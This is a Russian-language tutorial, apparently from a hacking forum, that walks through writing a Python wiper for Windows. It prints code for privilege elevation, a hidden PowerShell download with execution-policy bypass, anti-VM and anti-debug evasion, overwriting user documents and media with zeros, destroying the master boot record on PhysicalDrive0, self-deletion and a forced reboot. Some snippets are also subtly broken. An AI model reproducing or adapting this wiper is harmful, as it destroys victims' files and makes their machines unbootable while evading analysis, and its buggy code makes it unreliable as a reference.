Python и вредоносное ПО: написание простого вредоносного ПО-очистителя
Автор: Мутный Движ - @mytnui_dvij
Данная статья создана исключительно для ознакомления и не призывает к действиям!
В этой статье я опишу, как написать вредоносное ПО. Обратите внимание, что это не «настоящее» вредоносное ПО, оно лишь показывает вам основы и даже то, насколько легко его написать. Вероятно, Python — не лучший выбор. Это интерпретируемый язык, поэтому для его выполнения требуется интерпретатор. Поэтому для написания вредоносного ПО, вероятно, лучше подойдут другие языки, которые могут работать на более низком уровне и которые можно компилировать. Вредоносное ПО часто разрабатывается таким образом, чтобы быть небольшим, скрытным, занимать мало памяти и использовать ограниченную вычислительную мощность. Поэтому очень часто можно увидеть вредоносное ПО, написанное на языках C и Assembly.
ОбзорСначала я покажу его код, а затем в общих чертах опишу, как работает эта вредоносная программа, код состоит из двух компонентов: мы говорим только об окнах, Методы, которые вы увидите в этой вредоносной программе, взяты из общедоступных образцов вредоносных программ, все ссылки я оставлю в конце этой статьи.
def IsAdmin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False
он проверяет, есть ли у него права администратора, если нет, он запускается RunAsAdminс использованием трюка ShellExecute runasдля повышения привилегий и немедленно завершает работу
def RunAsAdmin(): ctypes.windll.shell32.IsUserAnAdmin() or (ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) > 32, sys.exit())
def Is64Bit(): return platform.machine().endswith('64')
он просто проверяет, является ли текущий процесс 64-битным, используя platformlib эту функцию, она будет вызвана позже, InstallPyчтобы определить, какую версию Python следует установить, простой оператор if.
Код:
os_p = 64 if not Is64Bit(): os_p = 32
IsOnline Эта функция просто проверяет, находится ли зараженный компьютер в сети, используя библиотеку «request» для получения HTTP-ответа. Если TRUE, передать, если нет, программа сама его удалит. Почему? Отчаянные способы избежать анализа, и мы не хотим заражать мертвый компьютер
Код:
def IsOnline(): try: x = requests.get('https://google.com', verify=False) return True except: return False
IsPyExist Здесь я использую его os.path.exists, чтобы проверить, существует ли путь к Python на зараженном компьютере. Это можно сделать также с помощью подпроцесса для выполнения PowerShell cmd для проверки версии Python. Таким образом, мы можем определить, присутствует ли Python на зараженном компьютере или нет.
Код:
p = subprocess.run(['powershell', """$p = &{python -V} 2>&1;$version = if($p -is [System.Management.Automation.ErrorRecord]){$p.Exception.Message}; $p"""], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, startupinfo=startupinfo) p.stdout.decode() return True for num in range(10, 45): if os.path.exists(f"C:/Users/{os.getlogin()}/Appdata/Local/Programs/Python/Python{num}/python.exe"): return True return False
InstallPy Цель этой функции — установить Python на зараженную машину. Суть в том, что мы устанавливаем наш интерпретатор, используя язык, который уже встроен в Windows.
Код:
def InstallPy(): os_p = 64 if not Is64Bit(): os_p = 32 rand_py = f'python{random.randrange(111, 9999999)}.exe' url = "https://www.python.org/ftp/python/3.8.1/python-3.8.1-amd64.exe" if os_p == 64 else "https://www.python.org/ftp/python/3.8.1/python-3.8.1.exe" subprocess.run( f"""powershell -ep Bypass -WindowStyle Hidden -Command "iwr -Uri {url} -OutFile c:/users/$env:username/appdata/local/temp/{rand_py}" """) if os.path.exists(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}"): subprocess.run( f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py} /quiet InstallAllUsers=0 Include_launcher=0 PrependPath=1 Include_test=0") os.remove(f"c:/users/{os.getlogin()}/appdata/local/temp/{rand_py}") subprocess.run("python -m pip install --upgrade pip") subprocess.run("python -m pip install pyinstaller psutil") pip_list = RunPwsh("pip list") if 'psutil' in pip_list.lower(): wait4 = os.system('msg %username% in!') subprocess.run("msg %username% finished") return True
PowerShell -WindowStyle Hiddenскроет окно.
-ExecutionPolicy Bypassуже следует выполнить часть «Запуск от имени администратора» .
iwr -Uri Invoke-WebRequest Она анализирует ответ и возвращает коллекции ссылок.
Она {url}автоматически загрузит не требующий взаимодействия с пользователем -OutFile выходной файл python exe в tempкаталог под случайным именем, используя{rand_py}
Для лучшего понимания рекомендую этот урок.
Disclaimer | DevTut
AntiVm Следующая функция будет искать процессы виртуальной машины, вредоносная программа будет автоматически удаляться в любое время при обнаружении виртуальной машины, код не может обнаружить аппаратные виртуальные машины (например, Hyper-V, который ускоряется на аппаратном уровне, например, рабочий процесс GitHub VPS)
Код:
def AntiVm(): Process = ["vmsrvc.exe" , "vmusrvc.exe", "vboxtray.exe", "vmtoolsd.exe", "df5serv.exe", "vboxservice.exe"] for process in psutil.process_iter(): for i in Process: if i in process.name().lower(): return CommitSuicide()
AntiDebug
isDebuggerPresent() functionЭто самый простой метод противодействия отладке. Из документации MSDN мы видим, что это функция WinAPI, которая не принимает аргументов и возвращает ненулевое значение, если обнаруживает отладчик (TRUE), или ноль, что означает, что отладчик не обнаружен (FALSE). Если программа перенастроится (TRUE), программа сама его удалит.
Код:
def AntiDebug(): isDebuggerPresent = windll.kernel32.IsDebuggerPresent() if (isDebuggerPresent): return CommitSuicide() return False
Этап 1 — Уничтожение содержимого файлов
- стиратель начинает с поиска папок, содержащих важные файлы, такие как документы, загрузки, изображения, музыку и видео: более или менее все, что может быть ценно для пользователя. После того, как код находил эти папки, стирающий код перезаписывал их содержимое.
Список целевых расширений файлов
Код:
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg", ".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar", ".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z", ".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h", ".gif", ".txt", ".jar", ".sql", ".bundle", ".sqlite3", ".html", ".php", ".log", ".bak", ".deb"
def SetFiles(): for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"): for f in files: path = os.path.abspath(os.path.join(dirpath, f)) if f.endswith(tuple(ext)): with open(f, "rb") as files: data = files.read() files.close() with open(f, "wb") as files: data.write(b'\x00') # Overwrites multiple files with zero bytes data.close()
Основная загрузочная запись Основная загрузочная запись 8 жизненно важен для жесткого диска компьютера и содержит информацию о том, как хранить файлы и что компьютер должен делать при запуске. Без руководства главной загрузки практически невозможно, чтобы машина функционировала должным образом
def OverWriteMBR(): hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0) Kernel32.WriteFile(hDevice, Data, None) Kernel32.CloseHandle(hDevice)
Создайте дескриптор нашего физического диска hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0)
для перезаписи MBR Kernel32.WriteFile(hDevice, Data, None) и закройте дескриптор нашего физического диска! Kernel32.CloseHandle(hDevice)
Этап 3 - Удалить себя
def CommitSuicide(): file_path = os.path.abspath(__file__) os.remove(file_path) folder_path = os.path.dirname(file_path) os.system("cipher /W:%s" % folder_path) # At the end of the script, the file is deleted & over-written
Наконец, зараженная система должна немедленно перезагрузиться.
Код:
def SysDown(): # win32api.InitiateSystemShutdown(computername="",message="",timeOut=0, bForceclose=0,bRebootAfterShutdown=1) os.system("shutdown -t 0 -r -f ")